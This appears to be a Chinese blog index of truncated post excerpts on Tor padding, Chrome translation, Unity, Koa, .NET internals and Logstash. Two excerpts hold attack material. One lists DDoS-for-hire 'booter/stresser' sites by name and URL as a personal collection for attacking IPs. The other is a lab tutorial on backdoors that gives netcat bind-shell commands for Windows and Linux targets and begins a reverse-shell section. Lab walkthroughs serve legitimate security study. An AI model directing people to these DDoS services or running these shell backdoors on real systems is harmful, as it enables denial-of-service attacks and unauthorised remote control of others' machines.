TOR原生数据填充方式(Channel Padding)

TOR本身已经做了这个功能了,今天发现。TOR 0.3.1.7版本加入的流量分析阻力,ChannelPadding,2017年9月 颇为绝望。今天才在GITHUB上看见TOR padding specification。 然后赶紧找了找官方的版本更新说明 原文如下: Major features (traffic analysis resistance): Connections between clients and relays now send a padding cell in each direction every 1.5 to 9.5 seconds (tunable via consensus parameters). This padding will not resist specialized eavesdroppers, but it should be enough to make many ISPs’ routine network flow logging less useful in traffic analysis against Tor users. Padding is negotiated using Tor’s link protocol, so both relays and clients must upgrade for this to take effect.

Chrome浏览器中如何打开或关闭网页的免插件自带翻译

谷歌翻译插件必不可少,但是今天小编要跟大家说的不是chrome插件,而是chrome自带的网页翻译功能。Chrome有自带整页翻译的功能,这个我相信很多人都不陌生,当然打开非浏览器默认语言的网页时,一般会提示我们是否对该网页进行翻译。对于不懂其他语言的使用者来说是很方便的。如下图所示: 正常情况下,你的浏览器会自动提示您是否要翻译网页。但是如果没有自动弹出,我们应该怎么样去打开这个chrome自带的网页翻译功能呢? 1、首先点击右上角的菜单,然后选择设置。在选项页面打开高级设置,才能看到语言选项。 2、将这个选项打勾,在浏览页面的时候就会询问是否翻译页面。同样,如果想关闭chrome网页自动翻译功能关闭就可以了。 3、如果你已经打开这个chrome网页自动翻译功能,但是打开外文网页时如果没有自动弹出提示信息,可以在页面右击鼠标,会发现有

个人收集的一些网页上一键云DDOS攻击的网站、IP地址测试,服务器压力测试

#1 – Network Stresser – http://networkstresser.com #2 – Lifetime Booter – http://lifetimeboot.com #3 – Power Stresser – http://powerstresser.com #4 – Dark Booter – http://darkbooter.com #5 – Titanium Stresser – http://titaniumstresser.net #6 – In Booter – http://inboot.me #7 – C Stresser – http://cstress.net #8 – vDos Stresser – http://vdos-s.com #9 – xBoot – http://xboot.net #10 – IP Stresser – http://ipstresser.com #11 – Xr8ed Stresser – http://xr8edstresser.com #12 – Haze Booter – http://hazebooter.

Unity UGUI Slider颜色改变(过渡)

using UnityEngine; using System.Collections; using UnityEngine.UI; public class SliderColor : MonoBehaviour { public Color[] colors = new Color[] { Color.red, Color.yellow, Color.green }; Slider slider; void Start() { slider = GetComponent(); slider.fillRect.transform.GetComponent().color = Color.green; } void Update() { float val = slider.value; val *= (colors.Length - 1); int startIndex = Mathf.FloorToInt(val); Color color = colors[0]; if (startIndex >= 0) { if (startIndex + 1 < colors.Length) { float factor = (val - startIndex); color = Color.

后门与远控木马——Meterpreter初体验

后门与远控木马——msfvenom与Meterpreter初体验 实验环境 攻击机 kali 4.14(64位) (IP: 10.0.2.6/24) 靶机 ubuntu 16.04(32位) (IP: 10.0.2.4/24) windows 7 sp1(64位) (IP: 10.0.2.7/24) nc/ncat的使用 nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项。 ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http) nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat。 nc后门获得win/linux shell 在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80启动后门服务。 -L 选项或-l选项是将nc设置为监听模式。-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项可以绑定到cmd.exe这个shell程序。 在攻击机中输入nc 10.0.2.7 80连接到win7靶机,获得win7的shell。 ubuntu自带的nc版本没有-e 选项,当然可以用ncat替代,这里展示一下没有-e 选项的nc如何获得shell。(参考man手册) 输入 $ rm -f /tmp/f; mkfifo /tmp/f $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f 攻击机连接后,得到shell nc获得win/linux反弹shell 前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。 在攻击机中输入ncat -vv -l 9190进入监听模式,-vv选项提供详细的状态输出。 靶机中输入nc 10.

TOR阶段总结

这几天在博客园上跟一个也是最近才开始研究TOR的大佬聊了聊交换了信息,才发现自己确实还有很多技术功底需要积累。从前面我写的内容看,很多东西都没有挖掘太过底层,个人来说还是理论学习多于实践的多,大佬长我14岁,14年间的工程经验可以使他阅读开源项目的时候更敏锐更灵敏地嗅探到作者做法背后对性能,对逻辑,对跨平台编译,对系统架构方面的影响。可以很直接地做出一定的推论,可以比较有依据地判断“行”还是“不行”。作为一个刚开始进入计算机世界的人来说,一度总是认为什么都有得做,而忽略了这背后带来的“成本”和“难度”。诚然,什么都是可以实现的,比如说改一下LINUX内核啊,比如说黑进某某大厂的主机啊等等。但可以是可以,并不现实。大佬的出现给了我很多建议和思路,让我一开始很多想法得到了支持,也有一些想法被证实不可行。我也希望跟在别人后面去学习,去实践,而不用自己去踩过每一条路上的坑。 TOR的源码确实很简洁很优美,曾经认为源码阅读是一件很费神的事,毕竟怎么可以做到对那么大的系统一个总体的感知呢。但其实只要有一定的计算机理论基础,随着不停地看见新的模块不停地发现新的内容,新问题会不断地出现,也会不断地被解决,在解决的过程中脑海会逐渐织出这个源码的模型,哪个部分会做什么,哪个部分具体会怎么做,加上Doxygen生成的文档可以很直接地找到函数的调用链及函数的解释,所以我越读越轻松,越读越惊讶于开发者的成熟老练。 至于真正要做的,我认为还是要大胆尝试一下,TOR里面有个连接填充的功能,里面的填充数据元好比HELLO确认报文一样,大多数情况下是用作确认和保持连接活性,我决定用一定量的padding数据元来完成通道流量的填充。似乎我也逐渐找到了进行填充时的完整逻辑,填充发生于链路空闲,或者说链路仍需要被维持,我们还需要找到一个padding cell具体有多大,来确认最终的流量填充方案。 可能限于我的了解,padding cell并不可以这样用,但似乎看来只有这种类型的数据元才是对链路影响最小的,姑且一试。 然后怎么测试论证似乎成为了问题,TOR原本有做流量混淆的功能,他们在本地区所使用的obsf4网桥就是为了规避流量审查的功能,将TOR流量套上一层HTTP或者什么其他的壳进行伪装以不被拦截下来。但看了看似乎源码里并没有这个功能相关的代码,而且似乎被实现在了obsf4里面,而这个项目又是GO写的,这就触及我知识盲区了。 毕竟我只有自己一个人,而不是一群人。没有人和我交流没有人帮我一起发现问题一起阅读,没有强制力约束我也懒得约束他们,要是我给他们开工资那还好说。但他们就是觉得不会有成果,所以放弃了。而我做至如今,就是为了要出成果让他们觉得愧对。倘若最终结果也不好,那我真的,,成吧,时间费去了,却一无所有。 但我还年轻,我想有始有终。

TOR源码阅读(二)

今天阅读的内容是一段时间浏览后觉得有必要详细理解的部分,这里由于项目原因不进行具体的技术和语法等等分析,只做功能逻辑分析。 line 1008 in file main.c run_connection_housekeeping(int i,time_t now) 函数,用于长期的单个连接上的持久性任务,被run_scheduled_ecents()每秒钟周期性调用。 我们来看它做了什么 获取第i个连接,获取当前配置选项结构体,判断当前时间是否超过连接生存周期,查看连接输出缓冲区是否已为空,若为空则进行标记,若连接标记为关闭,结束当前函数。 { cell_t cell; connection_t *conn = smartlist_get(connection_array, i); const or_options_t *options = get_options(); or_connection_t *or_conn; channel_t *chan = NULL; int have_any_circuits; int past_keepalive = now >= conn-> timestamp_lastwritten + options-> KeepalivePeriod; if (conn-> outbuf && ! connection_get_outbuf_len(conn) && conn-> type == CONN_TYPE_OR) TO_OR_CONN(conn)-> timestamp_lastempty = now; if (conn-> marked_for_close) { /* nothing to do here */ return; } 。若连接类型为目录连接,连接活动超时(如果是服务器则为发送,如果为客户端则为接收),打印日志。判断连接目的是否为获取服务器的文件描述符,且读入缓冲已大于1024字节,若是则该连接已满,若不是,则标记连接为已关闭。若连接既非目录连接也非OR连接,则退出函数。

浅析koa的洋葱模型实现

前言 koa被认为是第二代node web framework,它最大的特点就是独特的中间件流程控制,是一个典型的洋葱模型。koa和koa2中间件的思路是一样的,但是实现方式有所区别,koa2在node7.6之后更是可以直接用async/await来替代generator使用中间件,本文以最后一种情况举例。 洋葱模型 下面两张图是网上找的,很清晰的表明了一个请求是如何经过中间件最后生成响应的,这种模式中开发和使用中间件都是非常方便的 来看一个koa2的demo: const Koa = require('koa'); const app = new Koa(); const PORT = 3000; // #1 app.use(async (ctx, next)=>{ console.log(1) await next(); console.log(1) }); // #2 app.use(async (ctx, next) => { console.log(2) await next(); console.log(2) }) app.use(async (ctx, next) => { console.log(3) }) app.listen(PORT); console.log(`http://localhost:${PORT}`); 访问http://localhost:3000,控制台打印: 1 2 3 2 1 怎么样,是不是有一点点感觉了。当程序运行到await next()的时候就会暂停当前程序,进入下一个中间件,处理完之后才会仔回过头来继续处理。也就是说,当一个请求进入,#1会被第一个和最后一个经过,#2则是被第二和倒数第二个经过,依次类推。 实现 koa的实现有几个最重要的点 context的保存和传递 中间件的管理和next的实现 翻看源码我们发现 app.listen使用了this.callback()来生成node的httpServer的回调函数 listen(...args) { debug('listen'); const server = http.

我眼中的IL, JIT,CTS, CLS,CLR

一 概念及作用 1. IL代码: 1)概念:.NET框架中的中间语言(Intermediate Language)的缩写,IL还有另外的2种叫法:CIL,Common Intermediate Language;MSIL, MicrosoftIntermediate Language。 作用:使用.NET框架提供的编译器(例如VS)可以直接将源程序(例如C++,VB.NET,C#)编译为.exe或.dll文件,但此时编译出来的程序代码并不是CPU能直接执行的机器代码,而是一种中间语言IL(Intermediate Language)的代码。因此还需要通过JIT编译器进行二次编译,将IL代码转化成机器代码。 2)优点:使用中间语言的优点有两点,一是可以实现平台无关性,即与特定CPU无关,意思是对平台没有依赖性,不指定特定的CPU,可以跨平台跨系统,具有一定通用性;二是只要把.NET框架某种语言编译成IL代码,就实现.NET框架中语言之间的交互操作。 3)IL与程序集的关系:IL代码是程序集的核心部分。 4).NET程序集的构成 从结构上看,一个.NET程序集(*.dll或者*.exe)包含以下几个部分: Windows文件首部 Windows文件首部使程序集被Windows系列操作系统加载和操作。这些首部信息标识了应用程序将以什么类型(是基于控制台、基于图形用户界面还是*.dll代码库)驻留在Windows操作系统中。 CLR文件首部 为了驻留于CLR中,所有的.NET文件都必须含有CLR首部数据块,简单地讲,CLR文件首部定义了多个标记,它们使得运行时环境可以了解到托管文件的布局。 IL代码 IL代码是程序集的核心部分,是独立于平台和CPU的中间语言。在运行时,程序集内部的IL代码只在绝对必需的情况下才被(实时的JIT编译器)编译成特定平台和CPU的指令。”绝对必需”通常是指一段IL指令(例如一个方法实现)被CLR引用时。在这种机制下,.NET程序集可以在多种不同的架构、设备和操作系统下运行。 类型元数据 类型元数据完整地描述了程序集内含类型和引用外部类型的格式。.NET运行时环境利用元数据在内存的二进制布局类型中解析类型(以及类型的成员)的位置,使远程方法调用更便利。 程序集清单 清单(manifest,也称程序集元数据,是对程序集本身的自描述)详细记录了程序集中的每一个模块、构建程序集的版本以及该程序集引用的所有外部程序集。它提供有关程序集的类型、版本、区域性和安全要求等信息。 可选的嵌入资源 .NET程序集还可以包含一些嵌入资源,如应用程序图标、图像文件、声音片段或者字符串表。事实上,.NET平台支持卫星程序集(satellite assembly),这些程序集只包含本地化资源。在构建国际化软件系统的时候,我们可能想基于特定区域(英语、德语等)来对资源进行分类打包,这时候附属程序集就显得非常有用。 5)程序集加载流程: IL 代码与资源(例如位图和字符串)一起作为一种称为程序集的可执行文件存储在磁盘上,通常具有的扩展名为 .exe 或.dll。 执行 C# 程序时,程序集将加载到 CLR 中,这可能会根据清单中的信息执行不同的操作。然后,如果符合安全要求,CLR 就会执行实时 (JIT) 编译以将 IL 代码转换为本机机器指令。 2. JIT编译器: 概念:JIT编译器,英文写作Just-In-Time Compiler,中文意思是即时编译器。 作用:JIT编译器能够将MSIL代码进行二次编译后成为各种不同的机器代码,以适应对应的系统和平台,最终使得程序在目标系统中得到顺利地运行。(帮助IL实现跨系统) 3. CTS: 公共类型系统(Common Type System) CTS(通用类型系统)是一个正式的规范,它规定了类型必须如何定义才能被CLR承载。通过正式的规范来描述类型的定义和行为,所有.net框架下的目标语言定义的语言都要与CTS的类型进行映射对应,这样才能保证各语言之间的互操作性。 4.CLS:公共语言规范(Common Language Specification) CLS限制了由各种语言不同特性而引发的互操作性问题,CLS制定了一种以.NET平台为目标的语言所必须支持的最小特征, 以及该语言与其他.NET语言之间实现互操作性所需要的完备特征。即.NET框架下的目标语言如果要实现互操作性,至少需要对CLS规范进行完全支持。 由图总结: 1) CTS定义类型,CLS定义规范,在共同定义的环境下实现以.Net平台为目标的各语言之间的互操作性。 2)CLS是各语言间实现互操作性的最低规范。但是内部使用语言时可以只满足CTS不满足CLS。 3) CRL严格按照CTS进行实现。 5.CLR:公共语言运行时(Common Language RunTime)

logstash入门安装+官方教程

https://www.elastic.co/guide/en/logstash/current/getting-started-with-logstash.html 以上为官网教程地址 接下来的内容为官网翻译+自学过程全记录: ubuntu 16 ,使用aptget安装 下载并安装公共签名秘钥wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - 你可能会需要这个包 apt-get install apt-transport-https echo "deb https://artifacts.elastic.co/packages/5.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/e apt-get install logstahkibana 和 elasticsearch都可以这样下)下载在/usr/share中,配置文件在/etc/lostash中 然后开始一波学习! logstash算批处理层的,不同类型,格式乱七八糟的数据从logstash导入,流出时就可以是标准的json格式。要做到这样的功能,它需要输入,过滤和输出三个功能,对应它的input,filter,output三个元素。 先来尝试一个最基本的例子。 在/logstash目录下: bin/logstash -e ‘input{ stdin{} } output{ stdout{} }’ 前台开启logstash -e参数确保可以直接从命令行指定配置,免去频繁vim更改的烦恼,stdin和stdout是大家熟悉的输入输出流。 输入hello,就返回hello这样。logstash返回时添加上时间戳和ip地址。按ctrl+d退出。 在实际应用情况下,情况会比这复杂些,可能会有一个或多个输入+过滤+输出插件,你可以使用filebeat来吧apache网络日志作为输入,从日志中解析出指定的命名的域,并且把解析后的数据导入一个elasticsearch节点中去 此时你不能再在命令行指定配置了,你需要在一个.con文件中定义你的logstash管道。 下载一个官网的demo玩玩吧。 wget https://download.elastic.co/demos/logstash/gettingstarted/logstash-tutorial.log.gz gunzip logstash-tutorial.log.gz 在默认的logstash安装中包括了Beats input插件。安装下filebeat,我用的apt-get。改一下配置文件,把刚刚下载的demo的path添加进filebeat.prospectors中。 filebeat.prospectors: – type: log paths: – /path/to/file/logstash-tutorial.log output.logstash: hosts: [“localhost:5044”] 用以下命令启动filebeat